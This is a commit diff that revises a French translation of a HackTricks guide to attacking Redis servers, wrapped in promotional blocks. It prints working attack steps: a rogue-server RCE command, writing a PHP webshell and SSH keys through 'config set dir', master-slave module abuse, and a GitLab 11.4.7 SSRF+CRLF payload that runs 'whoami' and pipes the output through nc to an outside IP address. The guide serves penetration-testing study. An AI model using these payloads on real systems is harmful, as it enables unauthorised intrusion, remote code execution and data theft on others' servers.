Translated ['network-services-pentesting/6379-pentesting-redis.md'] to f

This commit is contained in:
Translator 2024-02-14 23:26:09 +00:00
parent 78f79af186
commit ffc68b74bc

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !
@ -22,7 +22,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
**Actualités de piratage en temps réel**\
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
Restez à jour avec le monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel
**Dernières annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
@ -31,7 +31,7 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
## Informations de base
D'après [la documentation](https://redis.io/topics/introduction) : Redis est un magasin de **structures de données en mémoire** open source (sous licence BSD), utilisé comme **base de données**, cache et courtier de messages.
D'après [la documentation](https://redis.io/topics/introduction) : Redis est un magasin de **structures de données en mémoire**, open source (sous licence BSD), utilisé comme **base de données**, cache et courtier de messages.
Par défaut, Redis utilise un protocole basé sur du texte en clair, mais vous devez garder à l'esprit qu'il peut également implémenter **ssl/tls**. Apprenez comment [exécuter Redis avec ssl/tls ici](https://fossies.org/linux/redis/TLS.md).
@ -51,14 +51,14 @@ msf> use auxiliary/scanner/redis/redis_server
### Bannière
Redis est un **protocole basé sur le texte**, vous pouvez simplement **envoyer la commande dans un socket** et les valeurs retournées seront lisibles. N'oubliez pas que Redis peut fonctionner en utilisant **ssl/tls** (mais c'est très bizarre).
Redis est un **protocole basé sur le texte**, vous pouvez simplement **envoyer la commande dans un socket** et les valeurs retournées seront lisibles. N'oubliez pas que Redis peut fonctionner en utilisant **ssl/tls** (mais c'est très étrange).
Dans une instance Redis régulière, vous pouvez simplement vous connecter en utilisant `nc` ou vous pourriez également utiliser `redis-cli` :
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
Le **premier commande** que vous pourriez essayer est **`info`**. Il **peut renvoyer une sortie avec des informations** sur l'instance Redis **ou quelque chose** comme ce qui suit est renvoyé:
Le **premier commande** que vous pourriez essayer est **`info`**. Il **peut renvoyer une sortie avec des informations** sur l'instance Redis **ou quelque chose** comme ce qui suit est retourné:
```
-NOAUTH Authentication required.
```
@ -67,7 +67,7 @@ Dans ce dernier cas, cela signifie que **vous avez besoin d'identifiants valides
### Authentification Redis
**Par défaut**, Redis peut être accédé **sans identifiants**. Cependant, il peut être **configuré** pour supporter **uniquement un mot de passe, ou un nom d'utilisateur + mot de passe**.\
Il est possible de **définir un mot de passe** dans le fichier _**redis.conf**_ avec le paramètre `requirepass` **ou temporairement** jusqu'au redémarrage du service en s'y connectant et en exécutant : `config set requirepass p@ss$12E45`.\
Il est possible de **définir un mot de passe** dans le fichier _**redis.conf**_ avec le paramètre `requirepass` **ou temporairement** jusqu'au redémarrage du service en se connectant et en exécutant : `config set requirepass p@ss$12E45`.\
De plus, un **nom d'utilisateur** peut être configuré dans le paramètre `masteruser` à l'intérieur du fichier _**redis.conf**_.
{% hint style="info" %}
@ -80,7 +80,7 @@ Dans des cas comme celui-ci, vous devrez **trouver des identifiants valides** po
```bash
AUTH <username> <password>
```
**Des identifiants valides** recevront une réponse : `+OK`
**Des identifiants valides** recevront comme réponse : `+OK`
### **Énumération authentifiée**
@ -107,7 +107,7 @@ Trouvez plus d'informations intéressantes sur d'autres commandes Redis ici : [h
### **Dumping de la base de données**
À l'intérieur de Redis, les **bases de données sont des numéros commençant à 0**. Vous pouvez vérifier si l'une d'entre elles est utilisée dans la sortie de la commande `info` à l'intérieur de la section "Keyspace" :
À l'intérieur de Redis, les **bases de données sont des numéros commençant par 0**. Vous pouvez vérifier si l'une d'entre elles est utilisée dans la sortie de la commande `info` dans la section "Keyspace" :
![](<../.gitbook/assets/image (315).png>)
@ -127,17 +127,20 @@ GET <KEY>
En cas d'erreur suivante `-WRONGTYPE Operation against a key holding the wrong kind of value` lors de l'exécution de `GET <KEY>`, c'est parce que la clé peut être autre chose qu'une chaîne ou un entier et nécessite un opérateur spécial pour l'afficher.
Pour connaître le type de la clé, utilisez la commande `TYPE`, exemple ci-dessous pour les clés de type liste et hachage.
```
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
```
**Exporter la base de données avec npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
# If the type used is weird you can always do:
DUMP <key>
```
**Extraire la base de données avec npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
@ -145,14 +148,14 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
**Actualités de Hacking en Temps Réel**\
Restez à jour avec le monde du hacking à rythme rapide grâce aux actualités et aux informations en temps réel
Restez à jour avec le monde du hacking en constante évolution grâce aux actualités et aux informations en temps réel
**Dernières Annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
## Redis RCE
## RCE Redis
### Shell Interactif
@ -160,9 +163,9 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
### Coquille Web PHP
Info from [**ici**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). You must know the **chemin** of the **dossier du site Web**:
Info from [**ici**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Vous devez connaître le **chemin** du **dossier du site Web**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
@ -202,7 +205,7 @@ Notez que **plusieurs moteurs de modèles mettent en cache** les modèles en **m
Exemple [d'ici](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Veuillez noter que le résultat de **`config get dir`** peut être modifié après d'autres commandes d'exploitation manuelles. Il est recommandé de l'exécuter en premier juste après la connexion à Redis. Dans la sortie de **`config get dir`**, vous pourriez trouver le **dossier personnel** de l'utilisateur **redis** (généralement _/var/lib/redis_ ou _/home/redis/.ssh_), et en sachant cela, vous savez où vous pouvez écrire le fichier `authenticated_users` pour accéder via ssh **avec l'utilisateur redis**. Si vous connaissez le dossier personnel d'un autre utilisateur valide pour lequel vous avez des autorisations d'écriture, vous pouvez également en abuser :
Veuillez noter que le résultat de **`config get dir`** peut être modifié après d'autres commandes d'exploitation manuelles. Il est recommandé de l'exécuter en premier juste après la connexion à Redis. Dans la sortie de **`config get dir`**, vous pourriez trouver le **dossier personnel** de l'utilisateur **redis** (généralement _/var/lib/redis_ ou _/home/redis/.ssh_), et en sachant cela, vous savez où vous pouvez écrire le fichier `authenticated_users` pour accéder via ssh **avec l'utilisateur redis**. Si vous connaissez le dossier personnel d'un autre utilisateur valide vous avez des autorisations d'écriture, vous pouvez également en abuser :
1. Générer une paire de clés publique-privée ssh sur votre ordinateur : **`ssh-keygen -t rsa`**
2. Écrire la clé publique dans un fichier : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
@ -256,7 +259,7 @@ Cette méthode peut également être utilisée pour gagner des bitcoins : [yam](
### Contourner le bac à sable LUA
[**Ici**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) vous pouvez voir que Redis utilise la commande **EVAL** pour exécuter du **code Lua dans un bac à sable**. Dans le post lié, vous pouvez voir **comment l'exploiter** en utilisant la fonction **dofile**, mais [apparemment](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) cela n'est plus possible. Quoi qu'il en soit, si vous pouvez **contourner le bac à sable** Lua, vous pourriez **exécuter des commandes arbitraires** sur le système. De plus, dans le même post, vous pouvez voir quelques **options pour causer des DoS**.
[**Ici**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) vous pouvez voir que Redis utilise la commande **EVAL** pour exécuter du **code Lua dans un bac à sable**. Dans l'article lié, vous pouvez voir **comment l'exploiter** en utilisant la fonction **dofile**, mais [apparemment](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) cela n'est plus possible. Quoi qu'il en soit, si vous pouvez **contourner le bac à sable** Lua, vous pourriez **exécuter des commandes arbitraires** sur le système. De plus, dans le même article, vous pouvez voir quelques **options pour causer des dénis de service**.
Quelques **CVE pour échapper à LUA** :
@ -264,7 +267,7 @@ Quelques **CVE pour échapper à LUA** :
### Module Maître-Esclave
Toutes les opérations du serveur Redis maître sont automatiquement synchronisées vers le serveur Redis esclave, ce qui signifie que nous pouvons considérer la vulnérabilité Redis comme un serveur Redis esclave, connecté au serveur Redis maître que nous contrôlons, puis nous pouvons saisir des commandes dans notre propre serveur Redis.
Toutes les opérations du serveur Redis maître sont automatiquement synchronisées vers le serveur Redis esclave, ce qui signifie que nous pouvons considérer la vulnérabilité Redis comme un serveur Redis esclave, connecté au serveur Redis maître que nous contrôlons, puis nous pouvons saisir des commandes dans notre propre Redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -276,9 +279,9 @@ redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF parler à Redis
## SSRF parlant à Redis
Si vous pouvez envoyer une demande en **texte clair** **à Redis**, vous pouvez **communiquer avec lui** car Redis lira la demande ligne par ligne et répondra simplement avec des erreurs aux lignes qu'il ne comprend pas:
Si vous pouvez envoyer une requête en **texte clair** **à Redis**, vous pouvez **communiquer avec lui** car Redis lira ligne par ligne la requête et répondra simplement avec des erreurs aux lignes qu'il ne comprend pas:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
@ -288,11 +291,11 @@ Si vous pouvez envoyer une demande en **texte clair** **à Redis**, vous pouvez
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Par conséquent, si vous trouvez une **vulnérabilité SSRF** sur un site web et que vous pouvez **contrôler** certains **en-têtes** (peut-être avec une vulnérabilité CRLF) ou des **paramètres POST**, vous pourrez envoyer des commandes arbitraires à Redis.
Par conséquent, si vous trouvez une **vulnérabilité SSRF** sur un site Web et que vous pouvez **contrôler** certains **en-têtes** (peut-être avec une vulnérabilité CRLF) ou des **paramètres POST**, vous pourrez envoyer des commandes arbitraires à Redis.
### Exemple : Gitlab SSRF + CRLF vers Shell
Dans **Gitlab11.4.7**, une **vulnérabilité SSRF** et une **CRLF** ont été découvertes. La **vulnérabilité SSRF** se trouvait dans la **fonctionnalité d'importation de projet depuis une URL** lors de la création d'un nouveau projet et permettait d'accéder à des adresses IP arbitraires sous la forme \[0:0:0:0:0:ffff:127.0.0.1] (ceci accédera à 127.0.0.1), et la vulnérabilité **CRLF** était exploitée en ajoutant simplement les caractères **%0D%0A** à l'**URL**.
Dans **Gitlab11.4.7**, une **vulnérabilité SSRF** et une **CRLF** ont été découvertes. La **vulnérabilité SSRF** se trouvait dans la **fonctionnalité d'importation de projet à partir de l'URL** lors de la création d'un nouveau projet et permettait d'accéder à des adresses IP arbitraires sous la forme \[0:0:0:0:0:ffff:127.0.0.1] (ceci accédera à 127.0.0.1), et la vulnérabilité **CRLF** était exploitée en ajoutant simplement les caractères **%0D%0A** à l'**URL**.
Par conséquent, il était possible d'**exploiter ces vulnérabilités pour communiquer avec l'instance Redis** qui **gère les files d'attente** de **gitlab** et d'abuser de ces files d'attente pour **obtenir l'exécution de code**. Le payload d'abus de file d'attente Redis est :
```
@ -301,15 +304,15 @@ sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
Et la demande **URL encode** abusant de la SSRF et du CRLF pour exécuter un `whoami` et renvoyer la sortie via `nc` est :
Et la demande **URL encode** abusant de **SSRF** et **CRLF** pour exécuter un `whoami` et renvoyer la sortie via `nc` est :
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Pour une raison quelconque (comme pour l'auteur de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _d'où cette information a été tirée), l'exploitation a fonctionné avec le schéma `git` et non avec le schéma `http`._
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
**Perspectives de Hacking**\
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
@ -320,18 +323,18 @@ Restez à jour avec le monde du hacking en évolution rapide grâce aux actualit
**Dernières Annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui!
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>